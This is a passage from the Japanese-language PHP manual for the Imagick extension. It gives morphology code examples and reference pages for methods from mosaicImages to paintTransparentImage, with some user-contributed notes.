        $canvas->morphology(\Imagick::MORPHOLOGY_ERODE, 2, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例4 Erode Intensity Imagick::morphology()

<?php
        $canvas = $this->getCharacter();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "1");
        $canvas->morphology(\Imagick::MORPHOLOGY_ERODE_INTENSITY, 2, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例5 Dilate Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
        $canvas->morphology(\Imagick::MORPHOLOGY_DILATE, 4, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例6 Dilate intensity Imagick::morphology()

<?php
        $canvas = $this->getCharacter();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "1");
        $canvas->morphology(\Imagick::MORPHOLOGY_DILATE_INTENSITY, 4, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例7 Distance with Chebyshev kernel Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_CHEBYSHEV, "3");
        $canvas->morphology(\Imagick::MORPHOLOGY_DISTANCE, 3, $kernel);
        $canvas->autoLevelImage();
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例8 Distance with Manhattan kernel Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_MANHATTAN, "5");
        $canvas->morphology(\Imagick::MORPHOLOGY_DISTANCE, 3, $kernel);
        $canvas->autoLevelImage();
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例9 Distance with ocatagonal kernel Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGONAL, "5");
        $canvas->morphology(\Imagick::MORPHOLOGY_DISTANCE, 3, $kernel);
        $canvas->autoLevelImage();
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例10 Distance with Euclidean kernel Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_EUCLIDEAN, "4");
        $canvas->morphology(\Imagick::MORPHOLOGY_DISTANCE, 3, $kernel);
        $canvas->autoLevelImage();
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例11 Edge Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
        $canvas->morphology(\Imagick::MORPHOLOGY_EDGE, 1, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例12 Open Imagick::morphology()

<?php
        // As a result you will see that 'Open' smoothed the outline, by rounding off any sharp points, and remove any parts that is smaller than the shape used. It will also disconnect or 'open' any thin bridges.
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "6");
        $canvas->morphology(\Imagick::MORPHOLOGY_OPEN, 1, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例13 Open intensity Imagick::morphology()

<?php
        // As a result you will see that 'Open' smoothed the outline, by rounding off any sharp points, and remove any parts that is smaller than the shape used. It will also disconnect or 'open' any thin bridges.

        $canvas = $this->getCharacter();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "6");
        $canvas->morphology(\Imagick::MORPHOLOGY_OPEN_INTENSITY, 1, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例14 Close Imagick::morphology()

<?php
        //The basic use of the 'Close' method is to reduce or remove any 'holes' or 'gaps' about the size of the kernel 'Structure Element'. That is 'close' parts of the background that are about that size.
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "6");
        $canvas->morphology(\Imagick::MORPHOLOGY_CLOSE, 1, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例15 Close Intensity Imagick::morphology()

<?php
        //The basic use of the 'Close' method is to reduce or remove any 'holes' or 'gaps' about the size of the kernel 'Structure Element'. That is 'close' parts of the background that are about that size.
        $canvas = $this->getCharacter();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "6");
        $canvas->morphology(\Imagick::MORPHOLOGY_CLOSE_INTENSITY, 1, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例16 Smooth Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
        $canvas->morphology(\Imagick::MORPHOLOGY_SMOOTH, 1, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例17 Edge in Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
        $canvas->morphology(\Imagick::MORPHOLOGY_EDGE_IN, 1, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例18 Edge out Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_OCTAGON, "3");
        $canvas->morphology(\Imagick::MORPHOLOGY_EDGE_OUT, 1, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例19 The 'TopHat' method, or more specifically 'White Top Hat', returns the pixels that were removed by a Opening of the shape, that is the pixels that were removed to round off the points, and the connecting bridged between shapes. Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "5");
        $canvas->morphology(\Imagick::MORPHOLOGY_TOP_HAT, 1, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例20 The 'BottomHat' method, also known as 'Black TopHat' is the pixels that a Closing of the shape adds to the image. That is the pixels that were used to fill in the 'holes', 'gaps', and 'bridges'. Imagick::morphology()

<?php

        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "5");
        $canvas->morphology(\Imagick::MORPHOLOGY_BOTTOM_HAT, 1, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例21 Hit and Miss Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        //This finds all the pixels with 3 pixels of the right edge
        $matrix = [[1, false, false, 0]];
        $kernel = \ImagickKernel::fromMatrix(
            $matrix,
            [0, 0]
        );
        $canvas->morphology(\Imagick::MORPHOLOGY_HIT_AND_MISS, 1, $kernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例22 Thinning Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $leftEdgeKernel = \ImagickKernel::fromMatrix([[0, 1]], [1, 0]);
        $rightEdgeKernel = \ImagickKernel::fromMatrix([[1, 0]], [0, 0]);
        $leftEdgeKernel->addKernel($rightEdgeKernel);

        $canvas->morphology(\Imagick::MORPHOLOGY_THINNING, 3, $leftEdgeKernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例23 Thicken Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $leftEdgeKernel = \ImagickKernel::fromMatrix([[0, 1]], [1, 0]);
        $rightEdgeKernel = \ImagickKernel::fromMatrix([[1, 0]], [0, 0]);
        $leftEdgeKernel->addKernel($rightEdgeKernel);

        $canvas->morphology(\Imagick::MORPHOLOGY_THICKEN, 3, $leftEdgeKernel);
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例24 Thick to generate a convex hull Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $diamondKernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DIAMOND, "1");
        $convexKernel =  \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_CONVEX_HULL, "");

        // The thicken morphology doesn't handle small gaps. We close them
        // with the close morphology.
        $canvas->morphology(\Imagick::MORPHOLOGY_CLOSE, 1, $diamondKernel);
        $canvas->morphology(\Imagick::MORPHOLOGY_THICKEN, -1, $convexKernel);
        $canvas->morphology(\Imagick::MORPHOLOGY_CLOSE, 1, $diamondKernel);

        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例25 Iterative morphology Imagick::morphology()

<?php
        $canvas = $this->getCharacterOutline();
        $kernel = \ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DISK, "2");
        $canvas->morphology(\Imagick::MORPHOLOGY_ITERATIVE, 3, $kernel);
        $canvas->autoLevelImage();
        header("Content-Type: image/png");
        echo $canvas->getImageBlob();

?>

例26 Helper functon to get an image silhouette Imagick::morphology()

<?php
    private function getCharacterOutline() {

        $imagick = new \Imagick(realpath("./images/character.png"));
        $character = new \Imagick();
        $character->newPseudoImage(
            $imagick->getImageWidth(),
            $imagick->getImageHeight(),
            "canvas:white"
        );
        $canvas = new \Imagick();
        $canvas->newPseudoImage(
            $imagick->getImageWidth(),
            $imagick->getImageHeight(),
            "canvas:black"
        );

        $character->compositeimage(
            $imagick,
            \Imagick::COMPOSITE_COPYOPACITY,
            0, 0
        );
        $canvas->compositeimage(
            $character,
            \Imagick::COMPOSITE_ATOP,
            0, 0
        );
        $canvas->setFormat('png');

        return $canvas;
    }

?>

User Contributed Notes

There are no user contributed notes for this page.


画像からモザイクを作成する

  • ≪ Imagick::morphology
  • Imagick::motionBlurImage ≫
  • PHP Manual
  • Imagick
  • 画像からモザイクを作成する

Imagick::mosaicImages

(PECL imagick 2, PECL imagick 3)

Imagick::mosaicImages — 画像からモザイクを作成する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::mosaicImages ( ) : Imagick

画像シーケンスをはめ込み合成して単一の画像にします。 シーケンス内の各画像を、画像のページオフセットで指定した位置に合成したものを返します。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


モーションブラーをシミュレートする

  • ≪ Imagick::mosaicImages
  • Imagick::negateImage ≫
  • PHP Manual
  • Imagick
  • モーションブラーをシミュレートする

Imagick::motionBlurImage

(PECL imagick 2, PECL imagick 3)

Imagick::motionBlurImage — モーションブラーをシミュレートする

説明

public Imagick::motionBlurImage ( float $radius , float $sigma , float $angle , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

モーションブラーをシミュレートします。 指定した半径と標準偏差 (シグマ) によるガウス演算によって画像を畳み込みます。 意味のある結果を得るには、半径がシグマより大きくなければなりません。 radius に 0 を指定すると、MotionBlurImage() が適切な半径を自動的に設定します。 angle にはぼかしをかける角度を指定します。

パラメータ

radius

ガウス演算の半径。ピクセル単位で指定し、中心は計算に入れません。

sigma

ガウス演算の標準偏差。ピクセル単位で指定します。

angle

この角度で効果を適用します。

channel

そのチャンネルモードで使用可能な任意のチャンネル定数を指定します。 複数を指定する場合はビット演算子を使用します。 チャンネル定数 の一覧を参照ください。 この引数が有効になるのは、ImageMagick バージョン 6.4.4 以降で Imagick をコンパイルした場合のみです。

返り値

成功した場合に true を返します。

例

例1 Imagick::motionBlurImage()

<?php
function motionBlurImage($imagePath, $radius, $sigma, $angle, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->motionBlurImage($radius, $sigma, $angle, $channel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像の色を打ち消す

  • ≪ Imagick::motionBlurImage
  • Imagick::newImage ≫
  • PHP Manual
  • Imagick
  • 画像の色を打ち消す

Imagick::negateImage

(PECL imagick 2, PECL imagick 3)

Imagick::negateImage — 画像の色を打ち消す

説明

public Imagick::negateImage ( bool $gray , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

画像の色を打ち消します。グレースケールオプションを指定すると、 画像内のグレースケール値のみを打ち消します。

パラメータ

gray

画像内のグレースケールのみを打ち消すのかどうか。

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::negateImage()

<?php
function negateImage($imagePath, $grayOnly, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->negateImage($grayOnly, $channel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


新しい画像を作成する

  • ≪ Imagick::negateImage
  • Imagick::newPseudoImage ≫
  • PHP Manual
  • Imagick
  • 新しい画像を作成する

Imagick::newImage

(PECL imagick 2, PECL imagick 3)

Imagick::newImage — 新しい画像を作成する

説明

public Imagick::newImage ( int $cols , int $rows , mixed $background , string $format = ? ) : bool

新しい画像を作成し、ImagickPixel の値を背景色として関連付けます。

パラメータ

cols

新しい画像のカラム数。

rows

新しい画像の行数。

background

この画像で使用する背景色。

format

画像フォーマット。このパラメータは Imagick バージョン 2.0.1 で追加されました。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列を 3 番目のパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

例

例1 Imagick::newImage() の使用法

新しい画像を作成し、それを表示します。

<?php

$image = new Imagick();
$image->newImage(100, 100, new ImagickPixel('red'));
$image->setImageFormat('png');

header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

Eduard Sukharev 18-Aug-2016 04:39
It's not obvious and may be related only to some specific versions of ImageMagick (tested only for 6.7.7 and 6.8.9), but $cols and $rows must be a positive non-zero value.

<?php

$image = new Imagick();
$image->newImage(0, 100, new ImagickPixel('red'));
$image->setImageFormat('png');

file_put_contents('image.png', $image);
?>

In this case imagemagick will crash without throwing any exception and you'll get something along the lines (in your apache error log or console output):

    unable to acquire cache view `No such file or directory' @ fatal/cache-view.c/AcquireAuthenticCacheView/121.

This might be the case when you calculate $cols and $rows (say, based on user input and predefined target image DPI):

<?php

$image = new Imagick();
$img->newImage($userInput->getWidth() * $defaultPpi, $userInput->getHeight() * $defaultPpi, new ImagickPixel('white'));
?>

In this case if user requested image with 0.006 width (in inches), the code would work for $defaultPpi = 300 ppi, but would crash for
$defaultPpi = 72 ppi
jfalner1 at gmail dot com 07-Apr-2015 06:17
As it isn't obvious, the cols and rows arguments correspond to the width and height of the new image, expressed in pixels.  Example #1 would generate a 100 pixel by 100 pixel image.
christian dot reinecke at web dot de 23-Jun-2009 04:35
The color value (3rd argument) for transparency is "none".


新しい画像を作成する

  • ≪ Imagick::newImage
  • Imagick::nextImage ≫
  • PHP Manual
  • Imagick
  • 新しい画像を作成する

Imagick::newPseudoImage

(PECL imagick 2, PECL imagick 3)

Imagick::newPseudoImage — 新しい画像を作成する

説明

public Imagick::newPseudoImage ( int $columns , int $rows , string $pseudoString ) : bool

新しい画像を、ImageMagick 疑似フォーマットを使用して作成します。

パラメータ

columns

新しい画像のカラム数。

rows

新しい画像の行数。

pseudoString

疑似画像定義を含む文字列。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::newPseudoImage()

<?php
function newPseudoImage($canvasType) {
    $imagick = new \Imagick();
    $imagick->newPseudoImage(300, 300, $canvasType);
    $imagick->setImageFormat("png");
    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

//newPseudoImage('gradient:red-rgba(64, 255, 255, 0.5)');
//newPseudoImage("radial-gradient:red-blue");
newPseudoImage("plasma:fractal");

?>

User Contributed Notes

Pekka Jrvinen 22-Jul-2010 06:47
See http://www.imagemagick.org/script/formats.php for pseudoString parameter


次の画像に移動する

  • ≪ Imagick::newPseudoImage
  • Imagick::normalizeImage ≫
  • PHP Manual
  • Imagick
  • 次の画像に移動する

Imagick::nextImage

(PECL imagick 2, PECL imagick 3)

Imagick::nextImage — 次の画像に移動する

説明

public Imagick::nextImage ( ) : bool

画像リスト内の次の画像を Imagick オブジェクトに関連付けます。

返り値

成功した場合に true を返します。

User Contributed Notes

simonjjarrett at gmail dot com 24-Mar-2020 01:02
The following function applies a callback to each image in an Imagick object.

<?php
function imagickMap($callback, $im)
{
    $im->setFirstIterator();

    do
    {
        $callback($im);
    }
    while ( $im->nextImage() );
}
?>

E.g. to convert a series of images to grayscale:

<?php
imagickMap(
    function($im)
    {
        $im->setImageType(Imagick::IMGTYPE_GRAYSCALEMATTE);
    },
    $im
);
?>
markus dot s dot schmitz at gmail dot com 11-Dec-2012 10:46
Convert PDF to JPG page-wise:

<?php
$i = 0;

$imagick = new Imagick();
$imagick->readImage('myfile.pdf');
while($imagick->hasNextImage()) {
    $imagick->writeImage(++$i.'-converted.jpg', false);
    $imagick->nextImage();
}
?>

See also: http://php.net/manual/en/imagick.readimage.php


カラー画像のコントラストを強調する

  • ≪ Imagick::nextImage
  • Imagick::oilPaintImage ≫
  • PHP Manual
  • Imagick
  • カラー画像のコントラストを強調する

Imagick::normalizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::normalizeImage — カラー画像のコントラストを強調する

説明

public Imagick::normalizeImage ( int $channel = Imagick::CHANNEL_DEFAULT ) : bool

カラー画像のコントラストを強調します。 ピクセルの色を、とりうる値の範囲全体に拡張します。

パラメータ

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

例

例1 Imagick::normalizeImage()

<?php
function normalizeImage($imagePath, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $original = clone $imagick;
    $original->cropimage($original->getImageWidth() / 2, $original->getImageHeight(), 0, 0);
    $imagick->normalizeImage($channel);
    $imagick->compositeimage($original, \Imagick::COMPOSITE_ATOP, 0, 0);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


油絵をシミュレートする

  • ≪ Imagick::normalizeImage
  • Imagick::opaquePaintImage ≫
  • PHP Manual
  • Imagick
  • 油絵をシミュレートする

Imagick::oilPaintImage

(PECL imagick 2, PECL imagick 3)

Imagick::oilPaintImage — 油絵をシミュレートする

説明

public Imagick::oilPaintImage ( float $radius ) : bool

油絵風の効果を施すフィルタを適用します。 各ピクセルが、指定した半径内の周囲の中で最もよくあらわれる色に置き換えられます。

パラメータ

radius

近傍円の半径。

返り値

成功した場合に true を返します。

例

例1 Imagick::oilPaintImage()

<?php
function oilPaintImage($imagePath, $radius) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->oilPaintImage($radius);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


対象にマッチする任意のピクセルの色を変更する

  • ≪ Imagick::oilPaintImage
  • Imagick::optimizeImageLayers ≫
  • PHP Manual
  • Imagick
  • 対象にマッチする任意のピクセルの色を変更する

Imagick::opaquePaintImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::opaquePaintImage — 対象にマッチする任意のピクセルの色を変更する

説明

public Imagick::opaquePaintImage ( mixed $target , mixed $fill , float $fuzz , bool $invert , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

マッチする任意のピクセルの色を、fill で定義した色に変更します。 このメソッドは、ImageMagick バージョン 6.3.8 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

target

変更したい色をあらわす ImagickPixel オブジェクトあるいは文字列。

fill

置き換える色。

fuzz

あいまいさをあらわす量。たとえば、これを 10 に設定すると、 赤色の値が 100 の色と 102 の色は同じものとみなされます。

invert

true の場合は、対象の色にマッチしないピクセルを変更します。

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像の繰り返し部分を削除して最適化する

  • ≪ Imagick::opaquePaintImage
  • Imagick::orderedPosterizeImage ≫
  • PHP Manual
  • Imagick
  • 画像の繰り返し部分を削除して最適化する

Imagick::optimizeImageLayers

(PECL imagick 2, PECL imagick 3)

Imagick::optimizeImageLayers — 画像の繰り返し部分を削除して最適化する

説明

public Imagick::optimizeImageLayers ( ) : bool

GIF 形式の画像を、シーケンス内のひとつ前の画像と比較します。 必要最小限の画像で各フレームを置き換え、結果のアニメーションはそのままとなるようにします。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::optimizeImageLayers() の使用法

GIF 画像を読み込み、最適化して書き出します。

<?php
/* 新しい imagick オブジェクトを作成します */
$im = new Imagick("test.gif");

/* 画像のレイヤを最適化します */
$im->optimizeImageLayers();

/* 画像を書き戻します */
$im->writeImages("test_optimized.gif", true);
?>

参考

  • Imagick::compareImageLayers() - 複数の画像の中で最大の境界範囲を返す
  • Imagick::writeImages() - 画像あるいは画像シーケンスを書き込む
  • Imagick::writeImage() - 指定した名前で画像を書き込む

User Contributed Notes

f21 dot groups at gmail dot com 16-Jun-2013 02:37
In imagick 3.x (have not checked 2.x), this returns an imagemagick object and not a boolean.

<?php

$image = new Imagick('myanimation.gif');

$image = $image->optimizeImageLayers(); //Does not return a boolean!

$image->writeImage('optimized.gif');


配列ディザリングを行う

  • ≪ Imagick::optimizeImageLayers
  • Imagick::paintFloodfillImage ≫
  • PHP Manual
  • Imagick
  • 配列ディザリングを行う

Imagick::orderedPosterizeImage

(PECL imagick 2 >= 2.2.2, PECL imagick 3)

Imagick::orderedPosterizeImage — 配列ディザリングを行う

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::orderedPosterizeImage ( string $threshold_map , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

定義済みのディザリング閾値マップにもとづいた、複数の強度レベルによる配列ディザリングを行います。 入力の引数に応じて、各チャネルで異なるレベルを使用することができます。 このメソッドは、ImageMagick バージョン 6.3.1 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

threshold_map

使用するディザリング閾値マップを含む文字列。

channel

チャネルモードに応じたチャネル定数を指定します。 複数のチャネルに適用するには、定数をビット演算子で組み合わせます。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::orderedPosterizeImage()

<?php
function orderedPosterizeImage($imagePath, $orderedPosterizeType) {
    $imagick = new \Imagick(realpath($imagePath));

    $imagick->orderedPosterizeImage($orderedPosterizeType);
    $imagick->setImageFormat('png');

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

//orderedPosterizeImage($imagePath, 'o4x4,3,3');
//orderedPosterizeImage($imagePath, 'o8x8,6,6');
orderedPosterizeImage($imagePath, 'h8x8a');

?>

User Contributed Notes

holdoffhunger at gmail dot com 24-Apr-2012 12:39
Originally, I thought this function would be similar to the Posterize function, or at least, any one of the Imagick class functions that produces an artistic effect (like the oilPaintImage function).  This function can be used for those purposes, but it is mostly geared toward print production.  The OrderedPosterize is simply a highly flexible dithering tool.  The intention essentially is to produce high-resolution imagery by means of using constant dots across a medium that vary in size according to the detail of the imagery.  Everyone has seen a dithered photograph inside of a newspaper, but the wiki page provides better examples: http://en.wikipedia.org/wiki/Dither .

The two parameters are unusual to someone who simply wants to get the use of this function without fussing too much about the Imagick class.

First parameter: The threshold_map is a set of "brushes" predefined by a very simple xml file.  They are: threshold, checks, o2x2, o3x3, o4x4, o8x8, h4x4a, h6x6a, h8x8a, h4x4o, h6x6o, h8x8o, h16x16o, c5x5b, c5x5w, c6x6b, c6x6w, c7x7b, and c7x7w.  These are the values you are expected to input as parameters for the Thershold_Map value.  Much better descriptions of these brush shapes available at the Imagick site: http://www.imagemagick.org/Usage/quantize/tmaps_list.txt .

Second parameter: The channel is any of the constants as predefined by the Imagick class.  In the code, the value looks like "imagick::CHANNEL_RED", but you have the "_value" options of: red, undefined, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.  More info here: http://www.php.net/manual/en/imagick.constants.php#imagick.constants.channel .

Finally, don't forget you can use bitwise operators on the second parameter.  That means you can use & to AND them, | to OR them, & to XOR them, and ~ to NEGATE them.  A valid parameter for the second parameter would be: "((~imagick::CHANNEL_GREEN) ^ imagick::CHANNEL_YELLOW) | imagick::CHANNEL_MAGENTA)".  You can get extremely creative in this particular parameter.  And if you want to define your own brushes using simple XML, then that's also true of the first parameter, too.

Note:  You can use this function artistically.  How?  Use the orderedPosterizeImage to give the image some texture (a photo of a vase, for instance), and then use your OilPoint, Sketch, or Standard Posterize to give the image a cool effect.  Alone, though, seems pretty boring.

And now, a very simple demonstration :

<?php

            // Author: holdoffhunger@gmail.com

        // Filename
        // ---------------------------------------------

    $file_to_grab_with_location = "graphics_engine/image_workshop_directory/ordered_posterize_source.bmp"

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Perform Function
        // ---------------------------------------------

    $imagick_type->orderedPosterizeImage("o2x2", imagick::CHANNEL_GREEN);

        // Save File
        // ---------------------------------------------

    $file_to_save_with_location = "graphics_engine/image_workshop_directory/ordered_posterize_result.bmp"

    $file_handle_for_saving_image_file = fopen($file_to_save_with_location, 'a+');

    $imagick_type->writeImageFile($file_handle_for_saving_image_file);

?>


色にマッチするピクセルを変更する

  • ≪ Imagick::orderedPosterizeImage
  • Imagick::paintOpaqueImage ≫
  • PHP Manual
  • Imagick
  • 色にマッチするピクセルを変更する

Imagick::paintFloodfillImage

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::paintFloodfillImage — 色にマッチするピクセルを変更する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::paintFloodfillImage ( mixed $fill , float $fuzz , mixed $bordercolor , int $x , int $y , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

対象にマッチするピクセルとその近傍の色を変更します。 ImageMagick 6.3.8 以降はこのメソッドは非推奨となりました。かわりに Imagick::floodfillPaintImage() を使用します。

パラメータ

fill

塗りつぶし色を表す ImagickPixel オブジェクトあるいは文字列。

fuzz

fuzz の量。たとえば fuzz を 10 にすると、 強度 100 の赤と 102 の赤は同じ色とみなします。

bordercolor

境界色を表す ImagickPixel オブジェクトあるいは文字列。

x

floodfill の開始位置の X 座標。

y

floodfill の開始位置の Y 座標。

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

User Contributed Notes

mamcia at gmail dot com 17-Feb-2011 01:08
Seems that this method doesn't work as expected. Use Imagick::floodFillPaintImage() instead.

<?php
$img = new Imagick('/tmp/test.png');
$img->floodFillPaintImage('green', 10, 'white', 100, 100, false);
$img->writeImage('/tmp/out.png');
$img->clear();
$img->destroy();
?>


色にマッチするピクセルを変更する

  • ≪ Imagick::paintFloodfillImage
  • Imagick::paintTransparentImage ≫
  • PHP Manual
  • Imagick
  • 色にマッチするピクセルを変更する

Imagick::paintOpaqueImage

(PECL imagick 2, PECL imagick 3)

Imagick::paintOpaqueImage — 色にマッチするピクセルを変更する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::paintOpaqueImage ( mixed $target , mixed $fill , float $fuzz , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

色にマッチするピクセルを、塗りつぶし色に変更します。

パラメータ

target

この対象色を変更すると、画像の塗りつぶし色が変わります。 ImagickPixel オブジェクトあるいは文字列で対象色を指定します。

fill

塗りつぶし色を表す ImagickPixel オブジェクトあるいは文字列。

fuzz

画像の fuzz 値。 どの程度の色を「同じ色」とみなすかを表します。

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列を最初と 2 番目のパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

User Contributed Notes

There are no user contributed notes for this page.


色にマッチするピクセルを塗りつぶし色に変更する

  • ≪ Imagick::paintOpaqueImage
  • Imagick::pingImage ≫
  • PHP Manual
  • Imagick
  • 色にマッチするピクセルを塗りつぶし色に変更する

Imagick::paintTransparentImage

(PECL imagick 2, PECL imagick 3)

Imagick::paintTransparentImage — 色にマッチするピクセルを塗りつぶし色に変更する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::paintTransparentImage ( mixed $target , float $alpha , float $fuzz ) : bool

塗りつぶし色に指定した色にマッチするピクセルを変更します。

パラメータ

target

この対象色を変更して、画像の不透明度を指定します。

alpha

不透明度レベル。1.0 は完全な不透明、0.0 は完全な透明を表します。

